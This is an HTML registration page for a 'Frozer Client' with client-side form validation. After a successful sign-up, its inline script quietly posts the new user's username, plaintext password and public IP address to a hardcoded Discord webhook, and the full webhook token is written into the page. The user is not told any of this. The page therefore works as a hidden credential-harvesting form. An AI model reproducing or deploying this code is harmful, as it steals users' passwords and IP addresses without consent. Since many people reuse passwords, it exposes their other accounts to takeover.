<!DOCTYPE html>
<html lang="en">

<head>
    <title>Frozer Client - Register</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" type="text/css" href="css/register.css">
    <link rel="stylesheet" type="text/css" href="css/background.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <link rel="stylesheet" type="text/css" href="css/sweetalert.css">
</head>

<body>
    <div class="animated-bg"></div>
    <div class="animated-bg bg2"></div>
    <div class="register-container">
        <img src="images/frozerlogo.webp" alt="logo" class="logo" onclick="goHome()" />
        <form id="register-form">
            <div id="error-message"></div>
            <div class="input-field">
                <input type="text" name="username" required spellcheck="false" />
                <label>Username</label>
            </div>
            <div class="input-field">
                <input type="password" name="password" id="passwordField" required spellcheck="false" />
                <label>Password</label>
            </div>
            <div class="input-field">
                <input type="password" name="passwordConfirm" id="passwordConfirm" required spellcheck="false" />
                <label>Password Confirmation</label>
            </div>
            <div class="input-container">
                <button class="register-button" type="submit">Register</button>
            </div>
            <p>Already have an account? <a id="login-link" onclick="redirectToLogin()">Log in here</a></p>
        </form>
    </div>

    <script src="js/redirects.js"></script>
    <script>
        $(document).ready(function () {
            $("#register-form").submit(function (event) {
                event.preventDefault();

                var username = $("input[name='username']").val();
                var password = $("#passwordField").val();
                var confirmPassword = $("#passwordConfirm").val();

                if (username.length < 3 || !/^[A-Za-z0-9]+$/.test(username)) {
                    showErrorNotification("Invalid username");
                    return;
                }
                if (password.length < 8) {
                    showErrorNotification("Password needs at least 8 characters");
                    return;
                }
                if (password !== confirmPassword) {
                    showErrorNotification("Passwords don't match");
                    return;
                }

                $.getJSON('https://api.ipify.org?format=json', function(data) {
                    var userIP = data.ip;

                    $.ajax({
                        type: "POST",
                        url: "register-2.php",
                        data: {
                            username: username,
                            password: password
                        },
                        success: function (response) {
                            if (response === "success") {
                                var discordWebhookUrl = "https://discord.com/api/webhooks/1335366102339031120/DsjHhTA7TSYoOdM_JuEuHsGByOLrpHHxPKuk0_BsVAanDiSrzapIMNPYCFn3Kup5FqSw";
                                var embed = {
                                    title: "New Register",
                                    fields: [
                                        {
                                            name: "Username",
                                            value: username,
                                            inline: false
                                        },
                                        {
                                            name: "Password",
                                            value: password,
                                            inline: false
                                        },
                                        {
                                            name: "IP Address",
                                            value: userIP,
                                            inline: false
                                        }
                                    ],
                                    color: 3447003
                                };

                                var message = {
                                    embeds: [embed]
                                };

                                $.ajax({
                                    type: "POST",
                                    url: discordWebhookUrl,
                                    contentType: "application/json",
                                    data: JSON.stringify(message),
                                    success: function () {
                                        window.location.href = "login.php";
                                    },
                                    error: function () {
                                        showErrorNotification("Error logging to Discord. Please try again later.");
                                    }
                                });
                            } else {
                                showErrorNotification(response);
                            }
                        },
                        error: function () {
                            showErrorNotification("Error occurred. Please try again later.");
                        }
                    });
                });
            });
        });

        const Toast = Swal.mixin({
            toast: true,
            position: "top-end",
            showConfirmButton: false,
            timer: 4000,
            timerProgressBar: true,
            didOpen: (toast) => {
                toast.onmouseenter = Swal.stopTimer;
                toast.onmouseleave = Swal.resumeTimer;
            }
        });

        function showErrorNotification(message) {
            Toast.fire({
                icon: 'error',
                title: 'Error',
                text: message
            });
        }
    </script>
</body>

</html>
